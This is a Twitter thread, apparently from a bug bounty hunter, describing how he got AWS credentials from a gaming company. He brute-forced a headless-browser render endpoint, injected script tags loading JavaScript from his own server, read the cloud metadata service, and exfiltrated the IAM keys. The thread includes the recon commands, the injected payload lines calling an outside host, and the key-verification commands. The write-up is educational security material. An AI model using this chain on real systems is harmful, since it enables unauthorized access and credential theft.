Corben Leo

Corben Leo



I hacked a gaming company this year. Here's how I did it:

1/ The scope of this program was *.███.com With a wildcard, basic recon is: Subdomain Enumeration + HTTP server probing: $ subfinder -d example[dot]com | httpx -o example.httpx

2/ HTTPX gave me 300 web-servers to target. One stuck out to me: hxxps://rendering-prd.redacted[.]com "rendering" stuck out to me. Why? Render means to "process information". Often to another format. With web apps, it's typically HTML to another format.

3/ Next step: I issued an HTTP request to the host: $ curl -sk hxxps://rendering-prd.redacted[.]com > <pre>Cannot GET /</pre> NodeJS/Express If you see this, it's NodeJS. Or, if you see the header => Server: Express Well, what do we know about NodeJS web apps?

4/ Look at the code in this picture. Routes are defined explicitly. In this example: You must GET /one to get a response. You must POST /two to get a valid response. Brute-force with API routes and dictionary words. (PS: @assetnote wrote about Contextual Content Discovery)

5/ You also must brute-force with different HTTP methods. I love @joohoi's FFUF for directory/endpoint brute-forcing. By default, ffuf uses the GET method. So, I started with that and filtered by the number of response words (6) on the 404 page:

6/ This resulted in nothing. Cool. So I brute-forced with POST. (the command & the result are in the image) Discovered the endpoint /render which accepts a POST request. It responded with "400 Bad Request" This means we (the client) made a bad HTTP request.

7/ So what are we missing? Typically headers & parameters. Start with the error message! I copied the URL. Went to Burp Repeater: - Right Click => "Paste URL as Request" - Changed GET to POST. - Issued the HTTP request. The error message said: > "markup is invalid"

8/ I added markup=aaaa in the POST body: A different error message! > "render failure" What is it expecting to render? I thought Markdown. So, I put the following Markdown in the `markup=` parameter: > # header Response: > "render failure" Hm. Not that. Maybe HTML?

9/ I gave it HTML instead: <h1>test</h1> > HTTP/1.1 200 OK We're in business! But what is rendering our HTML? Probably a headless browser! Let's see if it will execute javascript. Hopefully 🤞 I gave it the following HTML: <script src=hxxp://BURP_COLLAB/test.js></script>

10/ Success. I got a request to /test.js with the User-Agent: Chrome/75.x.xx Running "whois" on the requesting IP address showed it was from AWS. AWS has a meta-data server at It can be used to generate temporary access keys. To an AWS environment.

11/ Hopefully the browser doesn't enforce the Same-Origin Policy The idea is to send 2 XMLHttpRequests. 1 - To the meta-data server. (to grab the IAM role name) 2 - To our server, to exfiltrate the data from step 1. This violates the Same-Origin Policy. But often,

12/ Headless browsers don't care. So, I tried this javascript POST /render HTTP.1,1 markup=<script src="hxxps://myserver/pwn.js"></script> The server responded: 200 OK Checked Burp Collaborator and it worked! My server had a request to "/main-production-worker-iam-role" So

13/ Let's grab those keys! One last final HTTP request. POST /render HTTP.1,1 markup=<script src="hxxps://myserver/pwn.js"></script> The browser sent the AWS Keys to me (well, my collaborator instance). Finally,

14/ I verified they worked: $ export AWS_ACCESS_KEY_ID= $ export AWS_SECRET_ACCESS_KEY= $ export AWS_SESSION_TOKEN= $ aws sts get-caller-identity The keys worked. And Scout2 proved I had access to too much :)

Lessons: - Context is King. THINK! - To break you must first understand: Know your target's technologies & the services they use. - Learn to code. Top:

Follow us on Twitter

to be informed of the latest developments and updates!

You can easily use to @tivitikothread bot for create more readable thread!
Donate 💲

You can keep this app free of charge by supporting 😊

for server charges...